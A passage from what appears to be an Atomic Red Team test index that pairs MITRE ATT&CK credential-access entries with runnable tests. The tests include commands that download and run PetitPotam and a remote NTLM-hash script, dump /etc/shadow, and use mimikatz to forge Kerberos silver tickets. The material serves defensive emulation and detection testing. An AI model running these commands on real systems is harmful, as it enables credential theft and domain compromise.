          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true" -OutFile "#{petitpotam_path}"
      executor:
        name: powershell
        elevation_required: false
        command: |
          & "#{petitpotam_path}" #{captureServerIP} #{targetServerIP} #{efsApi}
          Write-Host "End of PetitPotam attack"
    - name: WinPwn - PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS
      auto_generated_guid: 7f06b25c-799e-40f1-89db-999c9cc84317
      description: PowerSharpPack - Retrieving NTLM Hashes without Touching LSASS
        technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1')
          Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true"
        name: powershell
    - name: Trigger an authenticated RPC call to a target server with no Sign flag
        set
      auto_generated_guid: 81cfdd7f-1f41-4cc5-9845-bb5149438e37
      description: |-
        RpcPing command can be used to trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign flag not Set)
        Ref: https://twitter.com/splinter_code/status/1421144623678988298
      supported_platforms:
      - windows
      input_arguments:
        custom_port:
          description: Specify the custom port number
          type: integer
          default: '9997'
        server_ip:
          description: Specify the server IP address. If not specified, the loop back
            IP will be used
          type: string
          default: 127.0.0.1
      executor:
        command: 'rpcping -s #{server_ip} -e #{custom_port} /a connect /u NTLM 1>$Null'
        name: powershell
        elevation_required: false
  T1056:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Input Capture
      description: Adversaries may use methods of capturing user input to obtain credentials
        or collect information. During normal system usage, users often provide credentials
        to various different locations, such as login pages/portals or system dialog
        boxes. Input capture mechanisms may be transparent to the user (e.g. [Credential
        API Hooking](https://attack.mitre.org/techniques/T1056/004)) or rely on deceiving
        the user into providing input into what they believe to be a genuine service
        (e.g. [Web Portal Capture](https://attack.mitre.org/techniques/T1056/003)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - John Lambert, Microsoft Threat Intelligence Center
      x_mitre_detection: 'Detection may vary depending on how input is captured but
        may include monitoring for certain Windows API calls (e.g. `SetWindowsHook`,
        `GetKeyState`, and `GetAsyncKeyState`)(Citation: Adventures of a Keystroke),
        monitoring for malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059),
        and ensuring no unauthorized drivers or kernel modules that could indicate
        keylogging or API hooking are present.'
      x_mitre_domains:
      - enterprise-attack
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Metadata'
      - 'Process: OS API Execution'
      - 'Driver: Driver Load'
      x_mitre_permissions_required:
      - Administrator
      - SYSTEM
      - root
      - User
      type: attack-pattern
      id: attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2
      created: '2017-05-31T21:30:48.323Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056
        external_id: T1056
      - source_name: Adventures of a Keystroke
        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
          look into keyloggers on Windows. Retrieved April 27, 2016.'
        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
    atomic_tests: []
  T1557.002:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
      created: '2020-10-15T12:05:58.755Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1557.002
        url: https://attack.mitre.org/techniques/T1557/002
      - source_name: Cylance Cleaver
        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
          14, 2017.
      - source_name: RFC826 ARP
        url: https://tools.ietf.org/html/rfc826
        description: Plummer, D. (1982, November). An Ethernet Address Resolution
          Protocol. Retrieved October 15, 2020.
      - source_name: Sans ARP Spoofing Aug 2003
        url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
          October 15, 2020.
      x_mitre_deprecated: false
      revoked: false
      description: |
        Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

        The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

        An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

        The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

        Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: ARP Cache Poisoning
      x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous
        ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches
        across endpoints for signs of ARP poisoning. For example, if multiple IP addresses
        map to a single MAC address, this could be an indicator that the ARP cache
        has been poisoned."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1556.009:
    technique:
      modified: '2024-04-18T20:53:46.175Z'
      name: Conditional Access Policies
      description: "Adversaries may disable or modify conditional access policies
        to enable persistent access to compromised accounts. Conditional access policies
        are additional verifications used by identity providers and identity and access
        management systems to determine whether a user should be granted access to
        a resource.\n\nFor example, in Azure AD, Okta, and JumpCloud, users can be
        denied access to applications based on their IP address, device enrollment
        status, and use of multi-factor authentication.(Citation: Microsoft Conditional
        Access)(Citation: JumpCloud Conditional Access Policies)(Citation: Okta Conditional
        Access Policies) In some cases, identity providers may also support the use
        of risk-based metrics to deny sign-ins based on a variety of indicators. In
        AWS and GCP, IAM policies can contain `condition` attributes that verify arbitrary
        constraints such as the source IP, the date the request was made, and the
        nature of the resources or regions being requested.(Citation: AWS IAM Conditions)(Citation:
        GCP IAM Conditions) These measures help to prevent compromised credentials
        from resulting in unauthorized access to data or resources, as well as limit
        user permissions to only those required. \n\nBy modifying conditional access
        policies, such as adding additional trusted IP ranges, removing [Multi-Factor
        Authentication](https://attack.mitre.org/techniques/T1556/006) requirements,
        or allowing additional [Unused/Unsupported Cloud Regions](https://attack.mitre.org/techniques/T1535),
        adversaries may be able to ensure persistent access to accounts and circumvent
        defensive measures."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Gavin Knapp
      - Joshua Penny
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Azure AD
      - SaaS
      - IaaS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Modification'
      - 'Cloud Service: Cloud Service Modification'
      type: attack-pattern
      id: attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae
      created: '2024-01-02T13:43:37.389Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/009
        external_id: T1556.009
      - source_name: AWS IAM Conditions
        description: 'AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved
          January 2, 2024.'
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html
      - source_name: GCP IAM Conditions
        description: Google Cloud. (n.d.). Overview of IAM Conditions. Retrieved January
          2, 2024.
        url: https://cloud.google.com/iam/docs/conditions-overview
      - source_name: JumpCloud Conditional Access Policies
        description: 'JumpCloud. (n.d.). Get Started: Conditional Access Policies.
          Retrieved January 2, 2024.'
        url: https://jumpcloud.com/support/get-started-conditional-access-policies
      - source_name: Microsoft Conditional Access
        description: Microsoft. (2023, November 15). What is Conditional Access?.
          Retrieved January 2, 2024.
        url: https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview
      - source_name: Okta Conditional Access Policies
        description: Okta. (2023, November 30). Conditional Access Based on Device
          Security Posture. Retrieved January 2, 2024.
        url: https://support.okta.com/help/s/article/Conditional-access-based-on-device-security-posture?language=en_US
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1555.006:
    technique:
      modified: '2023-09-30T20:24:19.357Z'
      name: Cloud Secrets Management Stores
      description: "Adversaries may acquire credentials from cloud-native secret management
        solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault,
        and Terraform Vault.  \n\nSecrets managers support the secure centralized
        management of passwords, API keys, and other credential material. Where secrets
        managers are in use, cloud services can dynamically acquire credentials via
        API requests rather than accessing secrets insecurely stored in plain text
        files or environment variables.  \n\nIf an adversary is able to gain sufficient
        privileges in a cloud environment – for example, by obtaining the credentials
        of high-privileged [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)
        or compromising a service that has permission to retrieve secrets – they may
        be able to request secrets from the secrets manager. This can be accomplished
        via commands such as `get-secret-value` in AWS, `gcloud secrets describe`
        in GCP, and `az key vault secret show` in Azure.(Citation: Permiso Scattered
        Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation:
        Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)\n\n**Note:** this
        technique is distinct from [Cloud Instance Metadata API](https://attack.mitre.org/techniques/T1552/005)
        in that the credentials are being directly requested from the cloud secrets
        manager, rather than through the medium of the instance metadata API."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Martin McCloskey, Datadog
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Cloud Service: Cloud Service Enumeration'
      type: attack-pattern
      id: attack-pattern--cfb525cc-5494-401d-a82b-2539ca46a561
      created: '2023-09-25T12:41:26.501Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1555/006
        external_id: T1555.006
      - source_name: Sysdig ScarletEel 2.0 2023
        description: 'Alessandro Brucato. (2023, July 11). SCARLETEEL 2.0: Fargate,
          Kubernetes, and Crypto. Retrieved September 25, 2023.'
        url: https://sysdig.com/blog/scarleteel-2-0/
      - source_name: AWS Secrets Manager
        description: AWS. (n.d.). Retrieve secrets from AWS Secrets Manager. Retrieved
          September 25, 2023.
        url: https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html
      - source_name: Google Cloud Secrets
        description: Google Cloud. (n.d.). List secrets and view secret details. Retrieved
          September 25, 2023.
        url: https://cloud.google.com/secret-manager/docs/view-secret-details
      - source_name: Permiso Scattered Spider 2023
        description: 'Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING
          SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.'
        url: https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud
      - source_name: Microsoft Azure Key Vault
        description: 'Microsoft. (2023, January 13). Quickstart: Set and retrieve
          a secret from Azure Key Vault using Azure CLI. Retrieved September 25, 2023.'
        url: https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1003.008:
    technique:
      x_mitre_platforms:
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4
      type: attack-pattern
      created: '2020-02-11T18:46:56.263Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - url: https://attack.mitre.org/techniques/T1003/008
        external_id: T1003.008
        source_name: mitre-attack
      - description: The Linux Documentation Project. (n.d.). Linux Password and Shadow
          File Formats. Retrieved February 19, 2020.
        url: https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html
        source_name: Linux Password and Shadow File Formats
      - description: 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain
          unshadow and john Commands (John the Ripper Tool). Retrieved February 19,
          2020.'
        url: https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
        source_name: nixCraft - John the Ripper
      modified: '2021-04-29T14:49:39.188Z'
      name: 'OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow'
      description: |
        Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

        The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: The AuditD monitoring tool, which ships stock in many Linux
        distributions, can be used to watch for hostile processes attempting to access
        <code>/etc/passwd</code> and <code>/etc/shadow</code>, alerting on the pid,
        process name, and arguments of such programs.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - root
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1003.008
    atomic_tests:
    - name: Access /etc/shadow (Local)
      auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235
      description: "/etc/shadow file is accessed in Linux environments\n"
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          sudo cat /etc/shadow > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

          '
        name: bash
        elevation_required: true
    - name: Access /etc/master.passwd (Local)
      auto_generated_guid: 5076874f-a8e6-4077-8ace-9e5ab54114a5
      description: "/etc/master.passwd file is accessed in FreeBSD environments\n"
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          sudo cat /etc/master.passwd > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

          '
        name: sh
        elevation_required: true
    - name: Access /etc/passwd (Local)
      auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d
      description: "/etc/passwd file is accessed in FreeBSD and Linux environments\n"
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          cat /etc/passwd > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

          '
        name: sh
    - name: Access /etc/{shadow,passwd,master.passwd} with a standard bin that's not
        cat
      auto_generated_guid: df1a55ae-019d-4120-bc35-94f4bc5c4b0a
      description: 'Dump /etc/passwd, /etc/master.passwd and /etc/shadow using ed

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          unamestr=$(uname)
          if [ "$unamestr" = 'Linux' ]; then echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > ${output_file}; elif [ "$unamestr" = 'FreeBSD' ]; then echo -e "e /etc/passwd\n,p\ne /etc/master.passwd\n,p\ne /etc/shadow\n,p\n" | ed > ${output_file}; fi
        cleanup_command: 'rm -f #{output_file}

          '
        name: sh
        elevation_required: true
    - name: Access /etc/{shadow,passwd,master.passwd} with shell builtins
      auto_generated_guid: f5aa6543-6cb2-4fae-b9c2-b96e14721713
      description: 'Dump /etc/passwd, /etc/master.passwd and /etc/shadow using sh
        builtins

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          testcat(){ (while read line; do echo $line >> #{output_file}; done < $1) }
          [ "$(uname)" = 'FreeBSD' ] && testcat /etc/master.passwd
          testcat /etc/passwd
          testcat /etc/shadow
        cleanup_command: 'rm -f #{output_file}

          '
        name: sh
        elevation_required: true
  T1558.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27
      type: attack-pattern
      created: '2020-02-11T19:14:48.309Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1558.002
        url: https://attack.mitre.org/techniques/T1558/002
      - source_name: ADSecurity Silver Tickets
        url: https://adsecurity.org/?p=2011
        description: Sean Metcalf. (2015, November 17). How Attackers Use Kerberos
          Silver Tickets to Exploit Systems. Retrieved February 27, 2020.
      - url: https://adsecurity.org/?p=1515
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        source_name: ADSecurity Detecting Forged Tickets
      - description: French, D. (2018, October 2). Detecting Attempts to Steal Passwords
          from Memory. Retrieved October 11, 2019.
        url: https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea
        source_name: Medium Detecting Attempts to Steal Passwords from Memory
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Steal or Forge Kerberos Tickets: Silver Ticket'
      description: |-
        Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)

        Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)

        Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
        or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation:
        ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes
        interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords
        from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem
        Service (LSASS) process by opening the process, locating the LSA secrets key,
        and decrypting the sections in memory where credential details, including
        Kerberos tickets, are stored."
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Metadata'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1558.002
    atomic_tests:
    - name: Crafting Active Directory silver tickets with mimikatz
      auto_generated_guid: 385e59aa-113e-4711-84d9-f637aef01f2c
      description: |
        Once the hash of service account is retrieved it is possible to forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.
        The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session.
      supported_platforms:
      - windows
      input_arguments:
        domain_sid:
          description: SID of the targeted domain, if you keep default it will automatically
            get the current domain SID
          type: string
          default: S-1-5-21-DEFAULT
        domain:
          description: Targeted Active Directory domain FQDN
          type: string
          default: "%userdnsdomain%"
        account:
          description: Account to impersonate
          type: string
          default: silverticketfakeuser
        target:
          description: System you want to target (Default will be logon server)
          type: string
          default: "%logonserver:\\\\=%"
        service_aes256_key:
          description: AES256 key (you will need to set to match your service key
            for your target)
          type: string
          default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item
          -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction
          Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      executor:
        name: powershell
        elevation_required: false
        command: "Remove-Item $env:TEMP\\silver.bat -ErrorAction Ignore\nRemove-Item
          $env:TEMP\\silver.txt -ErrorAction Ignore\n\n# get current domain SID if
          default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match
          \"DEFAULT\") {\n  # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n
          \ $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n  $krbtgtSID
          = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n
          \ $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n#
          create batch file with commands to run in a separate \"runas /netonly\"
          session\n# so we don't purge Kerberos ticket from the current Windows session\n#
          its output goes to silver.txt temp file, because we cannot capture \"runas
          /netonly\" output otherwise\n@\"\n>%TEMP%\\silver.txt 2>&1 (\n  echo Purge
          existing tickets and create silver ticket:\n  klist purge\n  #{mimikatz_path}
          \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{service_aes256_key}
          /user:#{account} /service:HOST /target:#{target}.#{domain} /ptt\" \"exit\"\n\n
          \ echo.\n  echo executing:schtasks /query /S #{target}.#{domain}\n  schtasks
          /query /S #{target}.#{domain}\n  \n  echo.\n  echo Tickets after requesting
          schtasks:\n  klist\n\n  echo.\n  echo End of Silver Ticket attack\n)\n\"@
          -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\silver.bat\n\n#
          run batch file in a new empty session (password and username do not matter)\necho
          \"foo\" | runas /netonly /user:fake \"$env:TEMP\\silver.bat\" | Out-Null\n\n#
          wait until the output file has logged the entire attack\ndo {\n  Start-Sleep
          1 # wait a bit so the output file has time to be created\n  Get-Content
          -Path \"$env:TEMP\\silver.txt\" -Wait | ForEach-Object {\n    if ($_ -match
          'End of Silver Ticket attack') { break } \n  }\n} while ($false) # dummy
          loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content
          $env:TEMP\\silver.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\silver.bat
          -ErrorAction Ignore\nRemove-Item $env:TEMP\\silver.txt -ErrorAction Ignore\n"
  T1555.004:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: 'Credentials from Password Stores: Windows Credential Manager'
      description: |-
        Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults).(Citation: Microsoft Credential Manager store)(Citation: Microsoft Credential Locker)

        The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of [Credentials from Web Browsers](https://attack.mitre.org/techniques/T1555/003), Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker.

        Credential Lockers store credentials in encrypted `.vcrd` files, located under `%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\`. The encryption key can be found in a file named <code>Policy.vpol</code>, typically located in the same folder as the credentials.(Citation: passcape Windows Vault)(Citation: Malwarebytes The Windows Vault)

        Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. <code>vaultcmd.exe</code> is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers. Windows APIs, such as <code>CredEnumerateA</code>, may also be absued to list credentials managed by the Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

        Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running <code>rundll32.exe keymgr.dll KRShowKeyMgr</code> then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.

        Password recovery tools may also obtain plain text passwords from the Credential Manager.(Citation: Malwarebytes The Windows Vault)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: |-
        Monitor process and command-line parameters of <code>vaultcmd.exe</code> for suspicious activity, such as listing credentials from the Windows Credentials locker (i.e., <code>vaultcmd /listcreds:“Windows Credentials”</code>).(Citation: Malwarebytes The Windows Vault)

        Consider monitoring API calls such as <code>CredEnumerateA</code> that may list credentials from the Windows Credential Manager.(Citation: Microsoft CredEnumerate)(Citation: Delpy Mimikatz Crendential Manager)

        Consider monitoring file reads to Vault locations, <code>%Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\</code>, for suspicious activity.(Citation: Malwarebytes The Windows Vault)
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Bernaldo Penas Antelo
      - Mugdha Peter Bansode
      - Uriel Kosayev
      - Vadim Khrykov
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447
      created: '2020-11-23T15:35:53.793Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
